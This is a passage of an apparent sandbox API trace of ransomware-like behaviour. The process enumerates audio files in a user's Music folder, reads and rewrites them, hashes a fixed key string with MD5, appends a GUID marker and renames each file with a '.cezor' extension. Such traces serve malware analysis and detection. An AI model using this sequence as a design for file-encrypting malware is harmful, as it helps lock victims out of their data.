nFileSizeHigh=0x0, nFileSizeLow=0x15ffc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lWn6_.m4a", cAlternateFileName="")) returned 1 [0061.108] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\lWn6_.m4a") returned=".m4a" [0061.108] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\lWn6_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\lwn6_.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.108] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=90108) returned 1 [0061.108] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.111] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15fd6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.111] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.112] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x15ffc, lpOverlapped=0x0) returned 1 [0061.112] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.112] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.112] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.112] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.113] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.113] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.113] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.113] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.113] GetLastError () returned 0x0 [0061.113] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.113] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.114] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.114] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.114] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.114] CloseHandle (hObject=0x5c4) returned 1 [0061.115] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\lWn6_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\lwn6_.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\lWn6_.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\lwn6_.m4a.cezor")) returned 1 [0061.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.116] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.117] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91d37d0, ftCreationTime.dwHighDateTime=0x1d4d47c, ftLastAccessTime.dwLowDateTime=0x3673ba0, ftLastAccessTime.dwHighDateTime=0x1d4d4a0, ftLastWriteTime.dwLowDateTime=0x3673ba0, ftLastWriteTime.dwHighDateTime=0x1d4d4a0, nFileSizeHigh=0x0, nFileSizeLow=0x65df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MChYwIiGCBst93Q.wav", cAlternateFileName="MCHYWI~1.WAV")) returned 1 [0061.117] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\MChYwIiGCBst93Q.wav") returned=".wav" [0061.117] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\MChYwIiGCBst93Q.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\mchywiigcbst93q.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.117] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=26079) returned 1 [0061.117] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.119] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x65b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.119] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.120] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x65df, lpOverlapped=0x0) returned 1 [0061.120] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.120] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.120] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.121] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.121] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.121] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.121] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.121] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.121] GetLastError () returned 0x0 [0061.121] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.121] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.122] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x65df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.122] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.122] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.122] CloseHandle (hObject=0x5c4) returned 1 [0061.123] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\MChYwIiGCBst93Q.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\mchywiigcbst93q.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\MChYwIiGCBst93Q.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\mchywiigcbst93q.wav.cezor")) returned 1 [0061.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.123] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.124] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a1f50, ftCreationTime.dwHighDateTime=0x1d4ca2f, ftLastAccessTime.dwLowDateTime=0xed421cf0, ftLastAccessTime.dwHighDateTime=0x1d4d2ba, ftLastWriteTime.dwLowDateTime=0xed421cf0, ftLastWriteTime.dwHighDateTime=0x1d4d2ba, nFileSizeHigh=0x0, nFileSizeLow=0x16f42, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O_o33d.m4a", cAlternateFileName="")) returned 1 [0061.124] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\O_o33d.m4a") returned=".m4a" [0061.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\O_o33d.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\o_o33d.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.124] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=94018) returned 1 [0061.124] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.127] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16f1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.127] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.128] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x16f42, lpOverlapped=0x0) returned 1 [0061.128] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.128] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.128] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.128] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.129] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.129] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.129] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.129] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.129] GetLastError () returned 0x0 [0061.129] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.130] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.130] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.130] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16f42, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.130] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.130] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.130] CloseHandle (hObject=0x5c4) returned 1 [0061.132] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\O_o33d.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\o_o33d.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\O_o33d.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\o_o33d.m4a.cezor")) returned 1 [0061.132] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.132] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.133] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fc2e7a0, ftCreationTime.dwHighDateTime=0x1d4cdef, ftLastAccessTime.dwLowDateTime=0xbb20f400, ftLastAccessTime.dwHighDateTime=0x1d4d49d, ftLastWriteTime.dwLowDateTime=0xbb20f400, ftLastWriteTime.dwHighDateTime=0x1d4d49d, nFileSizeHigh=0x0, nFileSizeLow=0x15192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RU_Ytkp2w qp.mp3", cAlternateFileName="RU_YTK~1.MP3")) returned 1 [0061.133] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\RU_Ytkp2w qp.mp3") returned=".mp3" [0061.133] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\RU_Ytkp2w qp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\ru_ytkp2w qp.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.133] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=86418) returned 1 [0061.133] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.136] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1516c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.136] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.137] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x15192, lpOverlapped=0x0) returned 1 [0061.137] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.137] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.137] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.137] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.138] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.138] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.138] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.138] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.138] GetLastError () returned 0x0 [0061.138] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.138] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.139] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15192, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.139] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.139] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.139] CloseHandle (hObject=0x5c4) returned 1 [0061.140] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\RU_Ytkp2w qp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\ru_ytkp2w qp.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\RU_Ytkp2w qp.mp3.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\ru_ytkp2w qp.mp3.cezor")) returned 1 [0061.141] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.141] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.142] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x634baf80, ftCreationTime.dwHighDateTime=0x1d4cd96, ftLastAccessTime.dwLowDateTime=0x145c1b40, ftLastAccessTime.dwHighDateTime=0x1d4cc69, ftLastWriteTime.dwLowDateTime=0x145c1b40, ftLastWriteTime.dwHighDateTime=0x1d4cc69, nFileSizeHigh=0x0, nFileSizeLow=0xe39a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sGdLslAC.mp3", cAlternateFileName="")) returned 1 [0061.142] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\sGdLslAC.mp3") returned=".mp3" [0061.142] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\sGdLslAC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\sgdlslac.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.142] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=58266) returned 1 [0061.142] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.145] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.145] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.146] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xe39a, lpOverlapped=0x0) returned 1 [0061.146] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.146] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.146] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.146] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.147] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.147] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.147] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.147] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.147] GetLastError () returned 0x0 [0061.147] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.147] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.147] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe39a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.148] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.148] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.148] CloseHandle (hObject=0x5c4) returned 1 [0061.149] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\sGdLslAC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\sgdlslac.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\sGdLslAC.mp3.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\sgdlslac.mp3.cezor")) returned 1 [0061.150] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eb4210, ftCreationTime.dwHighDateTime=0x1d4ce43, ftLastAccessTime.dwLowDateTime=0xb4af86f0, ftLastAccessTime.dwHighDateTime=0x1d4cfa6, ftLastWriteTime.dwLowDateTime=0xb4af86f0, ftLastWriteTime.dwHighDateTime=0x1d4cfa6, nFileSizeHigh=0x0, nFileSizeLow=0x572c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="twAQxH8FOS.m4a", cAlternateFileName="TWAQXH~1.M4A")) returned 1 [0061.150] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\twAQxH8FOS.m4a") returned=".m4a" [0061.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\twAQxH8FOS.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\twaqxh8fos.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.150] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=22316) returned 1 [0061.150] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.152] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5706, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.152] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.153] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x572c, lpOverlapped=0x0) returned 1 [0061.153] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.153] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.153] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.153] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.154] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.154] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.154] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, 